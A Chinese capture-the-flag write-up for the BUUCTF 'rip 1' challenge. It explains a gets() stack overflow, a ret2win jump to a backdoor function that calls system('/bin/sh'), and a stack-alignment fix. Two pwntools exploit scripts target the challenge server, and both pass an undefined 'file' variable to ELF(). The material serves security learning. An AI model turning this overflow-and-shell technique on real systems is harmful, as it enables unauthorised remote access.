BUUCTF rip 1

使用linux的file命令查看基本信息

在这里插入图片描述
64位
使用IDA64位进行反编译

BUUCTF rip 1_第1张图片
看到gets就肯定有栈溢出
BUUCTF rip 1_第2张图片
能看到有一个 _system函数,改函数能执行系统命令
既然反编译有这个函数说明有地方调用了他

BUUCTF rip 1_第3张图片
果然在一个fun函数中有调用,执行的命令是 /bin/sh 也就是一个后门函数,直接可以拿到shell

我们只需要将函数的返回地址覆盖成这个这个函数的地址即可

使用pwntools

from pwn import *

context.arch = 'amd64'
p = remote('node4.buuoj.cn',27079)
elf = ELF(file)

fun = elf.symbols['fun']		# 获取fun函数的符号地址

p.sendline(flat(['a'*0xf , 'a'*8 , fun]))

p.interactive()

执行你就会发现交互失败

这是因为栈未对齐
详细可以参考以下地址
关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题

简单来说就是在调用system函数的时候有一条 movaps 的指令,它要求栈16位对齐

一般64位的程序栈都是以8字节为单位,像push,pop,都是在操作8字节的数据来改变栈

所以可以对system地址处的地址 + 1
BUUCTF rip 1_第4张图片
少一个push操作那么就可以16位对齐了

from pwn import *

context.arch = 'amd64'
p = remote('node4.buuoj.cn',27079)
elf = ELF(file)

fun = elf.symbols['fun']

p.sendline(flat(['a'*0xf , 'a'*8 , fun+1]))		# 地址+1

p.interactive()

这里用的是python3的pwntools

你可能感兴趣的:(#,pwn,ctf,pwn,buuctf)